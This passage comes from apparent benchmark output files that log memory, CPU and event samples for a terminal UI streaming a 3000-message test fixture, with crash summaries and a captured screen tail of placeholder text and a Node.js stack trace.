"utime_ticks": 974,
|
||||
"stime_ticks": 51,
|
||||
"cg_current": 908509184,
|
||||
"cg_peak": 908607488,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "done",
|
||||
"t_ms": 10205,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 68029,
|
||||
"pty_writes": 39,
|
||||
"rss_kb": 908828,
|
||||
"pss_kb": 864978,
|
||||
"private_dirty_kb": 848372,
|
||||
"vmhwm_kb": 908852,
|
||||
"utime_ticks": 974,
|
||||
"stime_ticks": 51,
|
||||
"cg_current": 909033472,
|
||||
"cg_peak": 909033472,
|
||||
"cg_oom_kill": 0
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 203
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 203
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "crashed_after_stream",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 7,
|
||||
"signal": 0,
|
||||
"t": 10266
|
||||
},
|
||||
"stream_done": true,
|
||||
"msgs_streamed": 3000,
|
||||
"events_streamed": 10759,
|
||||
"pty_bytes_total": 69292,
|
||||
"pty_data_callbacks": 40,
|
||||
"first_byte_ms": 146,
|
||||
"session_create_ms": 177,
|
||||
"stream_start_ms": 1707,
|
||||
"vmhwm_kb": 908852,
|
||||
"cg_peak": 909033472,
|
||||
"drain_max_loop_lag_ms": 22,
|
||||
"drain_lag_violations": 3,
|
||||
"drain_ok": false,
|
||||
"digest": null
|
||||
},
|
||||
"pty_tail": "() { return x}⧉ copy⚕ ▼ Thinking: Occaecat reprehenderit exercitation│Consectetur officia fugiat consequat minim elit mollit pariatur aute quis eiusmod. Esse aliquip aliqua │ consectetur officia fugiat consequat minim elit mollit pariatur aute. Occaecat reprehenderit exercitation incididunt dolor proident.- Laboris magna amet culpa cillum.- Adipiscing deserunt nulla duis veniam sed anim.- Excepteur irure nostrud tempor.Ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip aliqua consectetur officia fugiat consequat. Irure nostrud tempor ipsum cupidatat voluptate.⚡terminal Occaecat reprehenderit exercitation incididunt. · 0s ⚕ ⧉ copy ⚕▼Thinking: Quis eiusmod lorem │ │ - - - const x4 = 55function f0() { return x}⧉ copy⚕ ▼ Thinking: Quis eiusmod lorem│Esse aliquip aliqua consectetur officia fugiat consequat minim. Labore sit sunt esse aliquip aliqua │ consectetur officia fugiat. Quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna.- Dolor proident velit laboris magna.- Cillum commodo enim adipiscing deserunt nulla duis.- Veniam sed anim excepteur.Irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse. Sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit.⚡terminal Quis eiusmod lorem occaecat. · 0s8⧉ copy⚕◐Thought: Deserunt nulla duis ⧉ copy ⚕ ● web_search Irure nostrud tempor ipsum. · 2.1s (18 lines)⚕ ◐ Thought: Deserunt nulla duis - - - const x5 = 19function f4() { return x}⧉ copy⚕Irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip aliqua. Sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse. - Labore sit sunt esse aliquip.- Officia fugiat consequat minim elit mollit pariatur.- Aute quis eiusmod lorem.Occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna amet culpa cillum. Quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna amet.●web_search Irure nostrud tempor ipsum. · 2.1s (18 lines)⚡write_fileLabore si sun esse. · 0s ⧉ copy ⚕ ▼ Thinking: Consequat minim elit │ │ $terminal Consequat minim elit mollit. · 3.7s (2 lines) ◇ read_file Eiusmod lorem occaecat reprehenderit. · 3.8s (18 lines) ◦edit_file Proidnt velitlaboris magna. · 3.9s (7gep Commodo enimadipiscing dserunt. · 0s9const x5 = 75function f0() { return x}Cupidatat voluptate ullamco labore sit sunt esse aliquip aliqua consectetur officia. Nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip aliqua.Consequat minim elit mollit pariatur aute.- Eiusmod lorem occaecat reprehenderit exercitation.- Proident velit laboris magna amet culpa cillum.- Commodo enim adipiscing deserunt.Nulla duis veniam sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore. Enim adipiscingdeserunt nulla duis veniam.◦ grep4.0s (2 lines)file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915\n throw new Error(`Failed to create optimized buffer: ${width}x${height}`);\n ^\nError: Failed to create optimized buffer: 120x12\n at FFIRenderLib.createOptimizedBuffer (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915:13)\n at OptimizedBuffer.create (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:11918:24)\n at TerminalConsole.show (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:21058:44)\n at CliRenderer.<anonymous> (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:23222:20)\n at process.emit (node:events:509:20)\n at process._fatalException (node:internal/process/execution:190:32)\nNode.js v26.3.0"
|
||||
}
|
||||
@@ -0,0 +1,782 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "mem3000",
|
||||
"ui": "opentui",
|
||||
"config": "otui-uncapped",
|
||||
"mode": "mem",
|
||||
"rep": 1,
|
||||
"run_id": "mq8jy0dw-48jl",
|
||||
"utc": "2026-06-10T20:59:39.764Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": "2G",
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 100000,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-3000.ndjson",
|
||||
"msgs": 3000,
|
||||
"sha256": "0df05a04a611dda68aa07865f21c45b08edc78e0a71d4c8cb2b674729778d96d"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2369054,
|
||||
"gw_pid": 2369063,
|
||||
"cgroup": "/sys/fs/cgroup/user.slice/user-1001.slice/session-7349.scope",
|
||||
"load_avg_at_start": [
|
||||
0.97,
|
||||
0.58,
|
||||
0.47
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 26,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 26616,
|
||||
"pss_kb": 9810,
|
||||
"private_dirty_kb": 3112,
|
||||
"vmhwm_kb": 26616,
|
||||
"utime_ticks": 0,
|
||||
"stime_ticks": 0,
|
||||
"cg_current": 3192561664,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1032,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 11,
|
||||
"rss_kb": 105124,
|
||||
"pss_kb": 64072,
|
||||
"private_dirty_kb": 48416,
|
||||
"vmhwm_kb": 107976,
|
||||
"utime_ticks": 18,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3193053184,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1711,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 113336,
|
||||
"pss_kb": 72247,
|
||||
"private_dirty_kb": 56628,
|
||||
"vmhwm_kb": 113472,
|
||||
"utime_ticks": 20,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3192659968,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1712,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 113720,
|
||||
"pss_kb": 72567,
|
||||
"private_dirty_kb": 56884,
|
||||
"vmhwm_kb": 113772,
|
||||
"utime_ticks": 21,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3192659968,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1713,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 113976,
|
||||
"pss_kb": 72823,
|
||||
"private_dirty_kb": 57140,
|
||||
"vmhwm_kb": 114008,
|
||||
"utime_ticks": 21,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3192659968,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1713,
|
||||
"msgs": 400,
|
||||
"events": 1432,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 114224,
|
||||
"pss_kb": 73071,
|
||||
"private_dirty_kb": 57388,
|
||||
"vmhwm_kb": 114240,
|
||||
"utime_ticks": 21,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 3192659968,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2039,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 233888,
|
||||
"pss_kb": 190414,
|
||||
"private_dirty_kb": 173920,
|
||||
"vmhwm_kb": 233908,
|
||||
"utime_ticks": 75,
|
||||
"stime_ticks": 7,
|
||||
"cg_current": 3192918016,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2139,
|
||||
"msgs": 501,
|
||||
"events": 1792,
|
||||
"pty_bytes": 31881,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 242104,
|
||||
"pss_kb": 198630,
|
||||
"private_dirty_kb": 182136,
|
||||
"vmhwm_kb": 242104,
|
||||
"utime_ticks": 86,
|
||||
"stime_ticks": 8,
|
||||
"cg_current": 3192664064,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2341,
|
||||
"msgs": 601,
|
||||
"events": 2154,
|
||||
"pty_bytes": 36276,
|
||||
"pty_writes": 16,
|
||||
"rss_kb": 277724,
|
||||
"pss_kb": 234112,
|
||||
"private_dirty_kb": 217568,
|
||||
"vmhwm_kb": 277744,
|
||||
"utime_ticks": 113,
|
||||
"stime_ticks": 9,
|
||||
"cg_current": 3192410112,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2415,
|
||||
"msgs": 701,
|
||||
"events": 2496,
|
||||
"pty_bytes": 38144,
|
||||
"pty_writes": 17,
|
||||
"rss_kb": 293016,
|
||||
"pss_kb": 249217,
|
||||
"private_dirty_kb": 232608,
|
||||
"vmhwm_kb": 319420,
|
||||
"utime_ticks": 136,
|
||||
"stime_ticks": 11,
|
||||
"cg_current": 3192414208,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2665,
|
||||
"msgs": 801,
|
||||
"events": 2857,
|
||||
"pty_bytes": 42361,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 347140,
|
||||
"pss_kb": 303341,
|
||||
"private_dirty_kb": 286732,
|
||||
"vmhwm_kb": 347192,
|
||||
"utime_ticks": 174,
|
||||
"stime_ticks": 13,
|
||||
"cg_current": 3192664064,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2890,
|
||||
"msgs": 901,
|
||||
"events": 3245,
|
||||
"pty_bytes": 45955,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 378252,
|
||||
"pss_kb": 334448,
|
||||
"private_dirty_kb": 317844,
|
||||
"vmhwm_kb": 378328,
|
||||
"utime_ticks": 200,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3191242752,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2894,
|
||||
"msgs": 1001,
|
||||
"events": 3588,
|
||||
"pty_bytes": 45955,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 378556,
|
||||
"pss_kb": 334752,
|
||||
"private_dirty_kb": 318148,
|
||||
"vmhwm_kb": 378632,
|
||||
"utime_ticks": 201,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3191500800,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2896,
|
||||
"msgs": 1101,
|
||||
"events": 3928,
|
||||
"pty_bytes": 45955,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 378840,
|
||||
"pss_kb": 335036,
|
||||
"private_dirty_kb": 318432,
|
||||
"vmhwm_kb": 378944,
|
||||
"utime_ticks": 201,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3191242752,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2898,
|
||||
"msgs": 1201,
|
||||
"events": 4298,
|
||||
"pty_bytes": 45955,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 379096,
|
||||
"pss_kb": 335292,
|
||||
"private_dirty_kb": 318688,
|
||||
"vmhwm_kb": 379164,
|
||||
"utime_ticks": 201,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3191242752,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2899,
|
||||
"msgs": 1300,
|
||||
"events": 4659,
|
||||
"pty_bytes": 45955,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 379292,
|
||||
"pss_kb": 335488,
|
||||
"private_dirty_kb": 318884,
|
||||
"vmhwm_kb": 379340,
|
||||
"utime_ticks": 201,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3191242752,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2900,
|
||||
"msgs": 1400,
|
||||
"events": 5011,
|
||||
"pty_bytes": 45955,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 379448,
|
||||
"pss_kb": 335644,
|
||||
"private_dirty_kb": 319040,
|
||||
"vmhwm_kb": 379464,
|
||||
"utime_ticks": 201,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3191242752,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2902,
|
||||
"msgs": 1500,
|
||||
"events": 5384,
|
||||
"pty_bytes": 45955,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 379524,
|
||||
"pss_kb": 335720,
|
||||
"private_dirty_kb": 319116,
|
||||
"vmhwm_kb": 379600,
|
||||
"utime_ticks": 201,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3191242752,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3041,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 45955,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 429064,
|
||||
"pss_kb": 385260,
|
||||
"private_dirty_kb": 368656,
|
||||
"vmhwm_kb": 432296,
|
||||
"utime_ticks": 222,
|
||||
"stime_ticks": 17,
|
||||
"cg_current": 3191476224,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3342,
|
||||
"msgs": 1600,
|
||||
"events": 5730,
|
||||
"pty_bytes": 45955,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 520268,
|
||||
"pss_kb": 476464,
|
||||
"private_dirty_kb": 459860,
|
||||
"vmhwm_kb": 520268,
|
||||
"utime_ticks": 280,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3191271424,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4018,
|
||||
"msgs": 1700,
|
||||
"events": 6100,
|
||||
"pty_bytes": 48813,
|
||||
"pty_writes": 23,
|
||||
"rss_kb": 595392,
|
||||
"pss_kb": 551588,
|
||||
"private_dirty_kb": 534984,
|
||||
"vmhwm_kb": 595392,
|
||||
"utime_ticks": 350,
|
||||
"stime_ticks": 22,
|
||||
"cg_current": 3191713792,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4044,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 48813,
|
||||
"pty_writes": 23,
|
||||
"rss_kb": 595392,
|
||||
"pss_kb": 551588,
|
||||
"private_dirty_kb": 534984,
|
||||
"vmhwm_kb": 595392,
|
||||
"utime_ticks": 353,
|
||||
"stime_ticks": 22,
|
||||
"cg_current": 3191713792,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4195,
|
||||
"msgs": 1800,
|
||||
"events": 6455,
|
||||
"pty_bytes": 50669,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 597364,
|
||||
"pss_kb": 553560,
|
||||
"private_dirty_kb": 536956,
|
||||
"vmhwm_kb": 597404,
|
||||
"utime_ticks": 369,
|
||||
"stime_ticks": 23,
|
||||
"cg_current": 3191312384,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4646,
|
||||
"msgs": 1900,
|
||||
"events": 6838,
|
||||
"pty_bytes": 53455,
|
||||
"pty_writes": 26,
|
||||
"rss_kb": 629256,
|
||||
"pss_kb": 585452,
|
||||
"private_dirty_kb": 568848,
|
||||
"vmhwm_kb": 629392,
|
||||
"utime_ticks": 416,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 3192115200,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4662,
|
||||
"msgs": 2000,
|
||||
"events": 7151,
|
||||
"pty_bytes": 53455,
|
||||
"pty_writes": 26,
|
||||
"rss_kb": 629784,
|
||||
"pss_kb": 585980,
|
||||
"private_dirty_kb": 569376,
|
||||
"vmhwm_kb": 629888,
|
||||
"utime_ticks": 417,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 3192115200,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4668,
|
||||
"msgs": 2100,
|
||||
"events": 7532,
|
||||
"pty_bytes": 53455,
|
||||
"pty_writes": 26,
|
||||
"rss_kb": 630020,
|
||||
"pss_kb": 586216,
|
||||
"private_dirty_kb": 569612,
|
||||
"vmhwm_kb": 630032,
|
||||
"utime_ticks": 417,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 3192377344,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4672,
|
||||
"msgs": 2201,
|
||||
"events": 7892,
|
||||
"pty_bytes": 53455,
|
||||
"pty_writes": 26,
|
||||
"rss_kb": 630268,
|
||||
"pss_kb": 586464,
|
||||
"private_dirty_kb": 569860,
|
||||
"vmhwm_kb": 630344,
|
||||
"utime_ticks": 418,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 3192377344,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4676,
|
||||
"msgs": 2301,
|
||||
"events": 8254,
|
||||
"pty_bytes": 53455,
|
||||
"pty_writes": 26,
|
||||
"rss_kb": 630488,
|
||||
"pss_kb": 586684,
|
||||
"private_dirty_kb": 570080,
|
||||
"vmhwm_kb": 630532,
|
||||
"utime_ticks": 418,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 3192377344,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 5060,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 53455,
|
||||
"pty_writes": 26,
|
||||
"rss_kb": 751880,
|
||||
"pss_kb": 708076,
|
||||
"private_dirty_kb": 691472,
|
||||
"vmhwm_kb": 751948,
|
||||
"utime_ticks": 466,
|
||||
"stime_ticks": 30,
|
||||
"cg_current": 3192451072,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5360,
|
||||
"msgs": 2401,
|
||||
"events": 8596,
|
||||
"pty_bytes": 55789,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 760368,
|
||||
"pss_kb": 716564,
|
||||
"private_dirty_kb": 699960,
|
||||
"vmhwm_kb": 760428,
|
||||
"utime_ticks": 496,
|
||||
"stime_ticks": 30,
|
||||
"cg_current": 3192664064,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 6061,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 57896,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 791384,
|
||||
"pss_kb": 747580,
|
||||
"private_dirty_kb": 730976,
|
||||
"vmhwm_kb": 791384,
|
||||
"utime_ticks": 569,
|
||||
"stime_ticks": 32,
|
||||
"cg_current": 3193569280,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 6112,
|
||||
"msgs": 2501,
|
||||
"events": 8957,
|
||||
"pty_bytes": 60544,
|
||||
"pty_writes": 29,
|
||||
"rss_kb": 794628,
|
||||
"pss_kb": 750824,
|
||||
"private_dirty_kb": 734220,
|
||||
"vmhwm_kb": 794632,
|
||||
"utime_ticks": 574,
|
||||
"stime_ticks": 32,
|
||||
"cg_current": 3193577472,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 6664,
|
||||
"msgs": 2601,
|
||||
"events": 9345,
|
||||
"pty_bytes": 63209,
|
||||
"pty_writes": 30,
|
||||
"rss_kb": 821804,
|
||||
"pss_kb": 778000,
|
||||
"private_dirty_kb": 761396,
|
||||
"vmhwm_kb": 821804,
|
||||
"utime_ticks": 630,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 3193458688,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 7066,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 65585,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 847596,
|
||||
"pss_kb": 803792,
|
||||
"private_dirty_kb": 787188,
|
||||
"vmhwm_kb": 847616,
|
||||
"utime_ticks": 671,
|
||||
"stime_ticks": 37,
|
||||
"cg_current": 3193528320,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7492,
|
||||
"msgs": 2701,
|
||||
"events": 9688,
|
||||
"pty_bytes": 66999,
|
||||
"pty_writes": 32,
|
||||
"rss_kb": 852344,
|
||||
"pss_kb": 808540,
|
||||
"private_dirty_kb": 791936,
|
||||
"vmhwm_kb": 852344,
|
||||
"utime_ticks": 714,
|
||||
"stime_ticks": 37,
|
||||
"cg_current": 3193872384,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 8072,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 68029,
|
||||
"pty_writes": 33,
|
||||
"rss_kb": 881744,
|
||||
"pss_kb": 837940,
|
||||
"private_dirty_kb": 821336,
|
||||
"vmhwm_kb": 881744,
|
||||
"utime_ticks": 773,
|
||||
"stime_ticks": 39,
|
||||
"cg_current": 3194839040,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 8372,
|
||||
"msgs": 2801,
|
||||
"events": 10028,
|
||||
"pty_bytes": 70059,
|
||||
"pty_writes": 34,
|
||||
"rss_kb": 883640,
|
||||
"pss_kb": 839835,
|
||||
"private_dirty_kb": 823232,
|
||||
"vmhwm_kb": 883640,
|
||||
"utime_ticks": 804,
|
||||
"stime_ticks": 39,
|
||||
"cg_current": 3199139840,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 9075,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 72544,
|
||||
"pty_writes": 35,
|
||||
"rss_kb": 915004,
|
||||
"pss_kb": 871200,
|
||||
"private_dirty_kb": 854596,
|
||||
"vmhwm_kb": 915004,
|
||||
"utime_ticks": 874,
|
||||
"stime_ticks": 43,
|
||||
"cg_current": 3200159744,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9299,
|
||||
"msgs": 2901,
|
||||
"events": 10398,
|
||||
"pty_bytes": 74276,
|
||||
"pty_writes": 36,
|
||||
"rss_kb": 915420,
|
||||
"pss_kb": 871616,
|
||||
"private_dirty_kb": 855012,
|
||||
"vmhwm_kb": 915428,
|
||||
"utime_ticks": 898,
|
||||
"stime_ticks": 43,
|
||||
"cg_current": 3199324160,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9325,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 75521,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 917560,
|
||||
"pss_kb": 873756,
|
||||
"private_dirty_kb": 857152,
|
||||
"vmhwm_kb": 917668,
|
||||
"utime_ticks": 901,
|
||||
"stime_ticks": 43,
|
||||
"cg_current": 3199324160,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "done",
|
||||
"t_ms": 9332,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 75521,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 917692,
|
||||
"pss_kb": 873888,
|
||||
"private_dirty_kb": 857284,
|
||||
"vmhwm_kb": 917736,
|
||||
"utime_ticks": 901,
|
||||
"stime_ticks": 43,
|
||||
"cg_current": 3199324160,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 201
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "crashed_after_stream",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
